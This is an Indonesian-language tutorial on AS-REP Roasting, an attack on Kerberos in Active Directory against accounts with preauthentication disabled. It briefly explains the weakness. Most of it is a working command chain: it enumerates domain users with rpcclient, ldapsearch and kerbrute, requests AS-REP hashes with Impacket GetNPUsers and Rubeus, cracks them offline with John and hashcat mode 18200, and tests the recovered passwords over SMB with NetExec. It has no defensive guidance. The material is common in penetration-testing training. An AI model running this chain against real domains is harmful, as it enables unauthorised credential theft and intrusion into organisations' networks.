AS-REP Roasting adalah teknik serangan yang mengeksploitasi kelemahan dalam sistem otentikasi Kerberos di lingkungan Active Directory. Dengan serangan ini, Attacker mencoba memperoleh TGT (Ticket Granting Ticket) dari User dengan memanfaatkan AS-REP (tanggapan) yang dihasilkan oleh Kerberos. Serangan ini dapat dilakukan meskipun tanpa otentikasi atau dengan kata lain tanpa perlu menggunakan password User yang rentan.

Mengapa bisa terjadi?

Hal ini terjadi dikarenakan User yang rentan terhadap AS-REP Roasting itu mengaktifkan konfigurasi Do not require Kerberos preauthentication.

Do not require Kerberos preauthentication

Jika AS-REP berhasil didapatkan, maka Attacker akan mencoba mengurai isi dari TGT tersebut untuk mendapatkan password yang terkandung di dalam TGT-nya, hal ini dapat dilakukan dengan metode seperti Brute Force yang dilakukan secara offline.

Yang harus kita ketahui:

  • Authentication Server Request (AS-REQ)
  • Authentication Server Response (AS-REP)
  • Ticket Granting Ticket (TGT)
  • Kerberos Preauthentication


Hunting Domain Users

Recon

  1. RPCClient
    rpcclient <ip domain controller> -N
    enumdomusers
    
  2. ldapsearch
    ldapsearch -x -H 'ldap://<ip domain controller>' -b "dc=<host domain>,dc=<tld>" | grep 'userPrincipalName' | tr '@' ' ' | awk '{print $2}'
    

User Enumeration

Install kerbrute

go install github.com/ropnop/kerbrute@latest
sudo mv ~/go/bin/kerbrute /usr/local/bin/

Run

kerbrute userenum <users list file> --domain <domain> --dc <ip domain controller>

kerbrute




AS-REP Roasting

1. Do AS-REQ to get AS-REP

Terdapat berbagai macam cara dan berbagai macam Tool untuk melakukan AS-REQ.

Using Impacket

Install

sudo apt install impacket-scripts -y

Run

impacket-GetNPUsers <domain>/<user> -dc-ip <ip domain controller> -request -no-pass

Impacket AS-REP Roasting

Using Rubeus

Install

Run

Rubeus.exe asreproast /outfile:hashes.txt /format:hashcat [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]


2. Cracking AS-REP (Roasting)

Using John

Command

john --wordlist=<passwords file> <as-rep file>

AS-REP Roasting with JOHN

Using Hashcat

Command

hashcat -m 18200 -a 0 <as-rep file> <passwords file>

Hashcat AS-REP Roasting 1

Hashcat AS-REP Roasting 2




Test Authentication

Using NetExec (FKA CrackMapExec) via SMB Port 445

Install

git clone https://github.com/Pennyw0rth/NetExec
cd NetExec
sudo pip3 install .

Run

NetExec smb <ip target> -u <username> -p <password>

NetExec